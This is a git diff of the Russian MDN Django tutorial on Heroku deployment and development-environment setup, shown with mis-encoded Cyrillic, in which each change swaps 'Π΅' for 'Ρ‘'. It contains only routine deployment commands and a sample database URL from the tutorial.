+<p>ΠŸΡ€Π΅ΠΆΠ΄Π΅ Ρ‡Π΅ΠΌ ΠΏΡ€ΠΎΠ΄ΠΎΠ»ΠΆΠΈΡ‚ΡŒ, Π΄Π°ΠΉΡ‚Π΅ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΈΡ‚ΡŒ сайт снова локально ΠΈ ΡƒΠ±Π΅Π΄ΠΈΡ‚ΡŒΡΡ, Ρ‡Ρ‚ΠΎ это Π½Π΅ повлияло Π½ΠΈ Π½Π° ΠΎΠ΄Π½ΠΎ ΠΈΠ· Π½Π°ΡˆΠΈΡ… ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠΉ Π²Ρ‹ΡˆΠ΅. ЗапуститС Π²Π΅Π±-сСрвСр Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ ΠΊΠ°ΠΊ ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ, Π° Π·Π°Ρ‚Π΅ΠΌ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΡŒΡ‚Π΅, Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ Π»ΠΈ сайт, ΠΊΠ°ΠΊ Π²Ρ‹ ΠΎΠΆΠΈΠ΄Π°Π΅Ρ‚Π΅ Π² своём Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅.</p>
<pre class="brush: bash notranslate">python3 manage.py runserver</pre>
-<p>Π’Π΅ΠΏΠ΅Ρ€ΡŒ ΠΌΡ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π±Ρ‹Ρ‚ΡŒ Π³ΠΎΡ‚ΠΎΠ²Ρ‹ Π½Π°Ρ‡Π°Ρ‚ΡŒ Ρ€Π°Π·Π²Π΅Ρ€Ρ‚Ρ‹Π²Π°Π½ΠΈΠ΅ LocalLibrary Π½Π° Heroku.</p>
+<p>Π’Π΅ΠΏΠ΅Ρ€ΡŒ ΠΌΡ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π±Ρ‹Ρ‚ΡŒ Π³ΠΎΡ‚ΠΎΠ²Ρ‹ Π½Π°Ρ‡Π°Ρ‚ΡŒ Ρ€Π°Π·Π²Ρ‘Ρ€Ρ‚Ρ‹Π²Π°Π½ΠΈΠ΅ LocalLibrary Π½Π° Heroku.</p>
<h3 id="ΠŸΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ_Π°ΠΊΠΊΠ°ΡƒΠ½Ρ‚_Π²_heroku">ΠŸΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ Π°ΠΊΠΊΠ°ΡƒΠ½Ρ‚ Π² heroku</h3>
-<p>Π§Ρ‚ΠΎΠ±Ρ‹ Π½Π°Ρ‡Π°Ρ‚ΡŒ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Heroku, Π²Π°ΠΌ сначала Π½ΡƒΠΆΠ½ΠΎ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ ΡƒΡ‡Π΅Ρ‚Π½ΡƒΡŽ запись:</p>
+<p>Π§Ρ‚ΠΎΠ±Ρ‹ Π½Π°Ρ‡Π°Ρ‚ΡŒ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Heroku, Π²Π°ΠΌ сначала Π½ΡƒΠΆΠ½ΠΎ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ ΡƒΡ‡Ρ‘Ρ‚Π½ΡƒΡŽ запись:</p>
<ul>
<li>ΠŸΠ΅Ρ€Π΅ΠΉΠ΄ΠΈΡ‚Π΅ <a href="https://www.heroku.com/">www.heroku.com</a>Β ΠΈ Π½Π°ΠΆΠΌΠΈΡ‚Π΅ <strong>SIGN UP FOR FREE</strong> ΠΊΠ½ΠΎΠΏΠΊΡƒ.</li>
- <li>Π’Π²Π΅Π΄ΠΈΡ‚Π΅ ваши Π΄Π°Π½Π½Ρ‹Π΅, Π° Π·Π°Ρ‚Π΅ΠΌ Π½Π°ΠΆΠΌΠΈΡ‚Π΅Β  <strong>CREATE FREE ACCOUNT</strong>. Π’Π°ΠΌ Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΡ€Π΅Π΄Π»ΠΎΠΆΠ΅Π½ΠΎ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΈΡ‚ΡŒ свою ΡƒΡ‡Π΅Ρ‚Π½ΡƒΡŽ запись ΠΏΠΎ адрСсу элСктронной ΠΏΠΎΡ‡Ρ‚Ρ‹ для рСгистрации.</li>
- <li>НаТмитС ссылку Π°ΠΊΡ‚ΠΈΠ²Π°Ρ†ΠΈΠΈ ΡƒΡ‡Π΅Ρ‚Π½ΠΎΠΉ записи Π² элСктронной ΠΏΠΎΡ‡Ρ‚Π΅ для рСгистрации. Π’Ρ‹ Π²Π΅Ρ€Π½Π΅Ρ‚Π΅ΡΡŒ Π² свою ΡƒΡ‡Π΅Ρ‚Π½ΡƒΡŽ запись Π² Π²Π΅Π±-Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅.</li>
+ <li>Π’Π²Π΅Π΄ΠΈΡ‚Π΅ ваши Π΄Π°Π½Π½Ρ‹Π΅, Π° Π·Π°Ρ‚Π΅ΠΌ Π½Π°ΠΆΠΌΠΈΡ‚Π΅Β  <strong>CREATE FREE ACCOUNT</strong>. Π’Π°ΠΌ Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΡ€Π΅Π΄Π»ΠΎΠΆΠ΅Π½ΠΎ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΈΡ‚ΡŒ свою ΡƒΡ‡Ρ‘Ρ‚Π½ΡƒΡŽ запись ΠΏΠΎ адрСсу элСктронной ΠΏΠΎΡ‡Ρ‚Ρ‹ для рСгистрации.</li>
+ <li>НаТмитС ссылку Π°ΠΊΡ‚ΠΈΠ²Π°Ρ†ΠΈΠΈ ΡƒΡ‡Ρ‘Ρ‚Π½ΠΎΠΉ записи Π² элСктронной ΠΏΠΎΡ‡Ρ‚Π΅ для рСгистрации. Π’Ρ‹ Π²Π΅Ρ€Π½Ρ‘Ρ‚Π΅ΡΡŒ Π² свою ΡƒΡ‡Ρ‘Ρ‚Π½ΡƒΡŽ запись Π² Π²Π΅Π±-Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅.</li>
<li>Π’Π²Π΅Π΄ΠΈΡ‚Π΅ свой ΠΏΠ°Ρ€ΠΎΠ»ΡŒ ΠΈ Π½Π°ΠΆΠΌΠΈΡ‚Π΅Β  <strong>SET PASSWORD AND LOGIN</strong>.</li>
- <li>Π—Π°Ρ‚Π΅ΠΌ Π²Ρ‹ Π²ΠΎΠΉΠ΄Π΅Ρ‚Π΅ Π² систСму ΠΈ ΠΏΠΎΠΏΠ°Π΄Π΅Ρ‚Π΅ Π² ΠΏΡ€ΠΈΠ±ΠΎΡ€Π½ΡƒΡŽ панСль Heroku:Β <a href="https://dashboard.heroku.com/apps">https://dashboard.heroku.com/apps</a>.</li>
+ <li>Π—Π°Ρ‚Π΅ΠΌ Π²Ρ‹ Π²ΠΎΠΉΠ΄Ρ‘Ρ‚Π΅ Π² систСму ΠΈ ΠΏΠΎΠΏΠ°Π΄Ρ‘Ρ‚Π΅ Π² ΠΏΡ€ΠΈΠ±ΠΎΡ€Π½ΡƒΡŽ панСль Heroku:Β <a href="https://dashboard.heroku.com/apps">https://dashboard.heroku.com/apps</a>.</li>
</ul>
<h3 id="Установка_ΠΊΠ»ΠΈΠ΅Π½Ρ‚Π°">Установка ΠΊΠ»ΠΈΠ΅Π½Ρ‚Π°</h3>
@@ -511,19 +511,19 @@ git push origin master</pre>
<h3 id="Π‘ΠΎΠ·Π΄Π°Π½ΠΈΠ΅_ΠΈ_Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠ°_Π²Π΅Π±-сайта">Π‘ΠΎΠ·Π΄Π°Π½ΠΈΠ΅ ΠΈ Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠ° Π²Π΅Π±-сайта</h3>
-<p>Π§Ρ‚ΠΎΠ±Ρ‹ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅, ΠΌΡ‹ запускаСм ΠΊΠΎΠΌΠ°Π½Π΄Ρƒ Β«createΒ» Π² ΠΊΠΎΡ€Π½Π΅Π²ΠΎΠΌ ΠΊΠ°Ρ‚Π°Π»ΠΎΠ³Π΅ нашСго рСпозитория. Π­Ρ‚ΠΎ создаСт git remote (Β«ΡƒΠΊΠ°Π·Π°Ρ‚Π΅Π»ΡŒ Π½Π° ΡƒΠ΄Π°Π»Π΅Π½Π½Ρ‹ΠΉ Ρ€Π΅ΠΏΠΎΠ·ΠΈΡ‚ΠΎΡ€ΠΈΠΉΒ»), Π½Π°Π·Π²Π°Π½Π½Ρ‹ΠΉ heroku Π² нашСй локальной срСдС git.</p>
+<p>Π§Ρ‚ΠΎΠ±Ρ‹ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅, ΠΌΡ‹ запускаСм ΠΊΠΎΠΌΠ°Π½Π΄Ρƒ Β«createΒ» Π² ΠΊΠΎΡ€Π½Π΅Π²ΠΎΠΌ ΠΊΠ°Ρ‚Π°Π»ΠΎΠ³Π΅ нашСго рСпозитория. Π­Ρ‚ΠΎ создаёт git remote (Β«ΡƒΠΊΠ°Π·Π°Ρ‚Π΅Π»ΡŒ Π½Π° ΡƒΠ΄Π°Π»Ρ‘Π½Π½Ρ‹ΠΉ Ρ€Π΅ΠΏΠΎΠ·ΠΈΡ‚ΠΎΡ€ΠΈΠΉΒ»), Π½Π°Π·Π²Π°Π½Π½Ρ‹ΠΉ heroku Π² нашСй локальной срСдС git.</p>
<pre class="brush: bash notranslate">heroku create</pre>
<div class="note">
-<p><strong>Π—Π°ΠΌΠ΅Ρ‚ΠΊΠ°:</strong> Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π½Π°Π·Π²Π°Ρ‚ΡŒ ΡƒΠ΄Π°Π»Π΅Π½Π½Ρ‹ΠΉ, Ссли Ρ…ΠΎΡ‚ΠΈΡ‚Π΅, ΡƒΠΊΠ°Π·Π°Π² Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ послС Β«createΒ». Если Π²Ρ‹ этого Π½Π΅ сдСлаСтС, Π²Ρ‹ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚Π΅ случайноС имя. Имя ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ Π² URL-адрСсС ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ.</p>
+<p><strong>Π—Π°ΠΌΠ΅Ρ‚ΠΊΠ°:</strong> Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π½Π°Π·Π²Π°Ρ‚ΡŒ ΡƒΠ΄Π°Π»Ρ‘Π½Π½Ρ‹ΠΉ, Ссли Ρ…ΠΎΡ‚ΠΈΡ‚Π΅, ΡƒΠΊΠ°Π·Π°Π² Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ послС Β«createΒ». Если Π²Ρ‹ этого Π½Π΅ сдСлаСтС, Π²Ρ‹ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚Π΅ случайноС имя. Имя ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ Π² URL-адрСсС ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ.</p>
</div>
<p>Π—Π°Ρ‚Π΅ΠΌ ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ ΠΏΠΎΠ΄Ρ‚ΠΎΠ»ΠΊΠ½ΡƒΡ‚ΡŒ нашС ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ Π² Ρ€Π΅ΠΏΠΎΠ·ΠΈΡ‚ΠΎΡ€ΠΈΠΉ heroku ΠΊΠ°ΠΊ ΠΏΠΎΠΊΠ°Π·Π°Π½ΠΎ Π½ΠΈΠΆΠ΅. Π­Ρ‚ΠΎ ΠΏΠΎΠ·Π²ΠΎΠ»ΠΈΡ‚ Π·Π°Π³Ρ€ΡƒΠ·ΠΈΡ‚ΡŒ ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅, ΡƒΠΏΠ°ΠΊΠΎΠ²Π°Ρ‚ΡŒ Π΅Π³ΠΎ Π² dyno, Π·Π°ΠΏΡƒΡΡ‚ΠΈΡ‚ΡŒΒ collectstatic, ΠΈ Π·Π°ΠΏΡƒΡΡ‚ΠΈΡ‚ΡŒ сам сайт.</p>
<pre class="brush: bash notranslate">git push heroku master</pre>
-<p>Если Π½Π°ΠΌ ΠΏΠΎΠ²Π΅Π·Π΅Ρ‚, ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ Β«Π·Π°Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚Β» Π½Π° сайтС, Π½ΠΎ ΠΎΠ½ΠΎ Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ ΠΌΡ‹ Π½Π΅ настроили Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹ Π±Π°Π·Ρ‹ Π΄Π°Π½Π½Ρ‹Ρ… для использования нашим ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ΠΌ. Для этого Π½Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΊΠΎΠΌΠ°Π½Π΄ΡƒΒ  <code>heroku run</code> ΠΈ Π·Π°ΠΏΡƒΡΡ‚ΠΈΡ‚ΡŒ "<a href="https://devcenter.heroku.com/articles/deploying-python#one-off-dynos">one off dyno</a>" для выполнСния ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ пСрСноса. Π’Π²Π΅Π΄ΠΈΡ‚Π΅ Π² Ρ‚Π΅Ρ€ΠΌΠΈΠ½Π°Π» ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΡƒΡŽ ΠΊΠΎΠΌΠ°Π½Π΄Ρƒ:</p>
+<p>Если Π½Π°ΠΌ ΠΏΠΎΠ²Π΅Π·Ρ‘Ρ‚, ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ Β«Π·Π°Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚Β» Π½Π° сайтС, Π½ΠΎ ΠΎΠ½ΠΎ Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ ΠΌΡ‹ Π½Π΅ настроили Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹ Π±Π°Π·Ρ‹ Π΄Π°Π½Π½Ρ‹Ρ… для использования нашим ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ΠΌ. Для этого Π½Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΊΠΎΠΌΠ°Π½Π΄ΡƒΒ  <code>heroku run</code> ΠΈ Π·Π°ΠΏΡƒΡΡ‚ΠΈΡ‚ΡŒ "<a href="https://devcenter.heroku.com/articles/deploying-python#one-off-dynos">one off dyno</a>" для выполнСния ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ пСрСноса. Π’Π²Π΅Π΄ΠΈΡ‚Π΅ Π² Ρ‚Π΅Ρ€ΠΌΠΈΠ½Π°Π» ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΡƒΡŽ ΠΊΠΎΠΌΠ°Π½Π΄Ρƒ:</p>
<pre class="brush: bash notranslate">heroku run python manage.py migrate</pre>
@@ -531,7 +531,7 @@ git push origin master</pre>
<pre class="brush: bash notranslate">heroku run python manage.py createsuperuser</pre>
-<p>Как Ρ‚ΠΎΠ»ΡŒΠΊΠΎ это Π±ΡƒΠ΄Π΅Ρ‚ Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½ΠΎ, ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ ΠΏΠΎΡΠΌΠΎΡ‚Ρ€Π΅Ρ‚ΡŒ сайт. Он Π΄ΠΎΠ»ΠΆΠ΅Π½ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ, хотя Π² Π½Π΅ΠΌ Π΅Ρ‰Π΅ Π½Π΅Ρ‚ ΠΊΠ½ΠΈΠ³. Π§Ρ‚ΠΎΠ±Ρ‹ ΠΎΡ‚ΠΊΡ€Ρ‹Ρ‚ΡŒ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ Π½Π° Π½ΠΎΠ²ΠΎΠΌ Π²Π΅Π±-сайтС, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ ΠΊΠΎΠΌΠ°Π½Π΄Ρƒ:</p>
+<p>Как Ρ‚ΠΎΠ»ΡŒΠΊΠΎ это Π±ΡƒΠ΄Π΅Ρ‚ Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½ΠΎ, ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ ΠΏΠΎΡΠΌΠΎΡ‚Ρ€Π΅Ρ‚ΡŒ сайт. Он Π΄ΠΎΠ»ΠΆΠ΅Π½ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ, хотя Π² Π½Π΅ΠΌ Π΅Ρ‰Ρ‘ Π½Π΅Ρ‚ ΠΊΠ½ΠΈΠ³. Π§Ρ‚ΠΎΠ±Ρ‹ ΠΎΡ‚ΠΊΡ€Ρ‹Ρ‚ΡŒ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ Π½Π° Π½ΠΎΠ²ΠΎΠΌ Π²Π΅Π±-сайтС, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ ΠΊΠΎΠΌΠ°Π½Π΄Ρƒ:</p>
<pre class="brush: bash notranslate">heroku open</pre>
@@ -539,7 +539,7 @@ git push origin master</pre>
<h3 id="Π£ΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠ΅_Π°Π΄Π΄ΠΎΠ½Π°ΠΌΠΈ">Π£ΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠ΅ Π°Π΄Π΄ΠΎΠ½Π°ΠΌΠΈ</h3>
-<p>Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΈΡ‚ΡŒ дополнСния Π² своСм ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΈ, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡΒ <code>heroku addons</code> ΠΊΠΎΠΌΠ°Π½Π΄Ρƒ. Π­Ρ‚ΠΎ Π±ΡƒΠ΄Π΅Ρ‚ список всСх Π°Π΄Π΄ΠΎΠ½ΠΎΠ², ΠΈΡ… цСновая катСгория ΠΈ состояниС.</p>
+<p>Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΈΡ‚ΡŒ дополнСния Π² своём ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΈ, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡΒ <code>heroku addons</code> ΠΊΠΎΠΌΠ°Π½Π΄Ρƒ. Π­Ρ‚ΠΎ Π±ΡƒΠ΄Π΅Ρ‚ список всСх Π°Π΄Π΄ΠΎΠ½ΠΎΠ², ΠΈΡ… цСновая катСгория ΠΈ состояниС.</p>
<pre class="brush: bash notranslate">&gt;heroku addons
@@ -548,7 +548,7 @@ Add-on Plan Price State
heroku-postgresql (postgresql-flat-26536) hobby-dev free created
└─ as DATABASE</pre>
-<p>Π—Π΄Π΅ΡΡŒ ΠΌΡ‹ Π²ΠΈΠ΄ΠΈΠΌ, Ρ‡Ρ‚ΠΎ Ρƒ нас Π΅ΡΡ‚ΡŒ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΎΠ΄Π½Π° надстройка, Π±Π°Π·Π° Π΄Π°Π½Π½Ρ‹Ρ… postgres SQL. Π­Ρ‚ΠΎ бСсплатно ΠΈ автоматичСски создаСтся ΠΏΡ€ΠΈ создании прилоТСния. Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΎΡ‚ΠΊΡ€Ρ‹Ρ‚ΡŒ Π²Π΅Π±-страницу, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π±ΠΎΠ»Π΅Π΅ ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½ΠΎ ΠΈΠ·ΡƒΡ‡ΠΈΡ‚ΡŒ надстройку Π±Π°Π·Ρ‹ Π΄Π°Π½Π½Ρ‹Ρ… (ΠΈΠ»ΠΈ любоС Π΄Ρ€ΡƒΠ³ΠΎΠ΅ Π΄ΠΎΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅), ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΡƒΡŽ ΠΊΠΎΠΌΠ°Π½Π΄Ρƒ:</p>
+<p>Π—Π΄Π΅ΡΡŒ ΠΌΡ‹ Π²ΠΈΠ΄ΠΈΠΌ, Ρ‡Ρ‚ΠΎ Ρƒ нас Π΅ΡΡ‚ΡŒ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΎΠ΄Π½Π° надстройка, Π±Π°Π·Π° Π΄Π°Π½Π½Ρ‹Ρ… postgres SQL. Π­Ρ‚ΠΎ бСсплатно ΠΈ автоматичСски создаётся ΠΏΡ€ΠΈ создании прилоТСния. Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΎΡ‚ΠΊΡ€Ρ‹Ρ‚ΡŒ Π²Π΅Π±-страницу, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π±ΠΎΠ»Π΅Π΅ ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½ΠΎ ΠΈΠ·ΡƒΡ‡ΠΈΡ‚ΡŒ надстройку Π±Π°Π·Ρ‹ Π΄Π°Π½Π½Ρ‹Ρ… (ΠΈΠ»ΠΈ любоС Π΄Ρ€ΡƒΠ³ΠΎΠ΅ Π΄ΠΎΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅), ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΡƒΡŽ ΠΊΠΎΠΌΠ°Π½Π΄Ρƒ:</p>
<pre class="brush: bash notranslate">heroku addons:open heroku-postgresql
</pre>
@@ -564,7 +564,7 @@ heroku-postgresql (postgresql-flat-26536) hobby-dev free created
=== locallibrary Config Vars
DATABASE_URL: postgres://uzfnbcyxidzgrl:j2jkUFDF6OGGqxkgg7Hk3ilbZI@ec2-54-243-201-144.compute-1.amazonaws.com:5432/dbftm4qgh3kda3</pre>
-<p>Если Π²Ρ‹ вспомнитС ΠΈΠ· Ρ€Π°Π·Π΄Π΅Π»Π°, посвящСнного  <a href="#Getting_your_website_ready_to_publish">getting the website ready to publish</a>, ΠΌΡ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Π΅ срСды для <code>DJANGO_SECRET_KEY</code>Β ΠΈΒ <code>DJANGO_DEBUG</code>. Π”Π°Π²Π°ΠΉΡ‚Π΅ сдСлаСм это сСйчас.</p>
+<p>Если Π²Ρ‹ вспомнитС ΠΈΠ· Ρ€Π°Π·Π΄Π΅Π»Π°, посвящённого  <a href="#Getting_your_website_ready_to_publish">getting the website ready to publish</a>, ΠΌΡ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Π΅ срСды для <code>DJANGO_SECRET_KEY</code>Β ΠΈΒ <code>DJANGO_DEBUG</code>. Π”Π°Π²Π°ΠΉΡ‚Π΅ сдСлаСм это сСйчас.</p>
<div class="note">
<p><strong>Π—Π°ΠΌΠ΅Ρ‚ΠΊΠ°:</strong> Π‘Π΅ΠΊΡ€Π΅Ρ‚Π½Ρ‹ΠΉ ΠΊΠ»ΡŽΡ‡ Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ Π΄Π΅ΠΉΡΡ‚Π²ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ сСкрСтным! Один ΠΈΠ· способов Π³Π΅Π½Π΅Ρ€Π°Ρ†ΠΈΠΈ Π½ΠΎΠ²ΠΎΠ³ΠΎ ΠΊΠ»ΡŽΡ‡Π° - ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ Π½ΠΎΠ²Ρ‹ΠΉ ΠΏΡ€ΠΎΠ΅ΠΊΡ‚ Django (<code>django-admin startproject someprojectname</code>) Π° Π·Π°Ρ‚Π΅ΠΌ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ ΠΊΠ»ΡŽΡ‡, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ гСнСрируСтся для вас Π² Π΅Π³ΠΎ <strong>settings.py</strong>.</p>
diff --git a/files/ru/learn/server-side/django/development_environment/index.html b/files/ru/learn/server-side/django/development_environment/index.html
index fa1d2f14c7..6fc9ed97a5 100644
--- a/files/ru/learn/server-side/django/development_environment/index.html
+++ b/files/ru/learn/server-side/django/development_environment/index.html
@@ -24,11 +24,11 @@ translation_of: Learn/Server-side/Django/development_environment
<h2 id="ΠžΠ±Π·ΠΎΡ€_срСды_Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ_Django">ΠžΠ±Π·ΠΎΡ€ срСды Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ Django</h2>
-<p>Django ΡƒΠΏΡ€ΠΎΡ‰Π°Π΅Ρ‚ настройку собствСнного ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Π°, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²Ρ‹ ΠΌΠΎΠ³Π»ΠΈ Π½Π°Ρ‡Π°Ρ‚ΡŒ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΡƒ Π²Π΅Π±-ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΉ. Π’ этом Ρ€Π°Π·Π΄Π΅Π»Π΅ ΠΎΠ±ΡŠΡΡΠ½ΡΠ΅Ρ‚ΡΡ, Ρ‡Ρ‚ΠΎ Π²Ρ…ΠΎΠ΄ΠΈΡ‚ Π² состав срСды разработки, ΠΈ даСтся ΠΎΠ±Π·ΠΎΡ€ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ΠΎΠ² настройки ΠΈ ΠΊΠΎΠ½Ρ„ΠΈΠ³ΡƒΡ€Π°Ρ†ΠΈΠΈ. Π’ ΠΎΡΡ‚Π°Π²ΡˆΠ΅ΠΉΡΡ части ΡΡ‚Π°Ρ‚ΡŒΠΈ ΠΎΠ±ΡŠΡΡΠ½ΡΠ΅Ρ‚ΡΡ Ρ€Π΅ΠΊΠΎΠΌΠ΅Π½Π΄ΡƒΠ΅ΠΌΡ‹ΠΉ ΠΌΠ΅Ρ‚ΠΎΠ΄ установки срСды Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ Django Π½Π° Ubuntu, Mac OS X ΠΈ Windows, ΠΈ ΠΊΠ°ΠΊ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π΅Π΅ ΠΏΡ€ΠΎΡ‚Π΅ΡΡ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ.</p>
